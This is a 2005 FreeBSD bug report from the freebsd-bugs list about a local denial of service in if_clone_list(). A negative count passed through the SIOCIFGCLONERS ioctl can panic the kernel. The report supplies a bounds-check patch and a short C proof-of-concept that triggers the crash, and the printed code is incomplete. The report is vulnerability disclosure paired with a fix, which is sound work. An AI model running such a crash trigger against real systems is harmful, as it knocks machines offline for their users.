kern/77748: [PATCH] Local DoS from user-space in if_clone_list()

Wojciech A. Koszek dunstan at
Sat Feb 19 21:50:10 GMT 2005

>Number:         77748
>Category:       kern
>Synopsis:       [PATCH] Local DoS from user-space in if_clone_list()
>Confidential:   no
>Severity:       critical
>Priority:       high
>Responsible:    freebsd-bugs
>State:          open
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Sat Feb 19 21:50:09 GMT 2005
>Originator:     Wojciech A. Koszek
>Release:        FreeBSD 5.3-STABLE i386
System: FreeBSD 5.3-STABLE FreeBSD 5.3-STABLE #0: Sat Feb 12 11:15:23 CET 2005 root at i386

kern.ostype: FreeBSD
kern.osrelease: 5.3-STABLE
kern.osrevision: 199506
kern.version: FreeBSD 5.3-STABLE #0: Sat Feb 12 11:15:23 CET 2005
   root at
kern.ostype: FreeBSD
kern.osrelease: 6.0-CURRENT
kern.osrevision: 199506
kern.version: FreeBSD 6.0-CURRENT #2: Sat Feb 12 10:43:18 UTC 2005
Bug exists in /usr/src/sys/net/if_clone.c, function if_clone_list().
This function use arguments which has been transferred from user-space,
with only partial validation tests. Thus, user may send malicious data
causing system to crash (if_clone_list() is used when ioctl is called with
SIOCIFGCLONERS on open socket as file descriptor).

Attached code [if_clone_test.c] should panic your kernel:

$ gcc if_clone_test.c -o if_clone_test
$ ./if_clone_test

Attached patch [diff.0.if_clone.c] corrects this problem (-STABLE and -CURRENT).
Patch should be tested.

--- diff.0.if_clone.c begins here ---
Patch against FreeBSD 5.3-STABLE, kern.osreldate: 503102.

diff -upr /usr/src/sys/net/if_clone.c src/sys/net/if_clone.c
--- /usr/src/sys/net/if_clone.c	Sat Feb 12 09:36:35 2005
+++ src/sys/net/if_clone.c	Sat Feb 19 20:25:21 2005
@@ -239,6 +239,9 @@ if_clone_list(struct if_clonereq *ifcr)
 	struct if_clone *ifc;
 	int buf_count, count, err = 0;
+	if (ifcr->ifcr_count < 0)
+		return (EINVAL);
 	 * Set our internal output buffer size.  We could end up not
--- diff.0.if_clone.c ends here ---

--- if_clone_test.c begins here ---
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/signal.h>
#include <sys/wait.h>

#include <net/if.h>
#include <netinet/in.h>

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <sysexits.h>

main ()
	int s = 0, error = 0;
	int x;
	struct if_clonereq clr;

	if (s == -1)
		errx(1, "Couldn't create socket");

	clr.ifcr_count = -10;
	clr.ifcr_buffer = NULL;

	error = ioctl(s, SIOCIFGCLONERS, &clr);
	if (error != 0)
		errx(1, "Error while ioctl()");

--- if_clone_test.c ends here ---


More information about the freebsd-bugs mailing list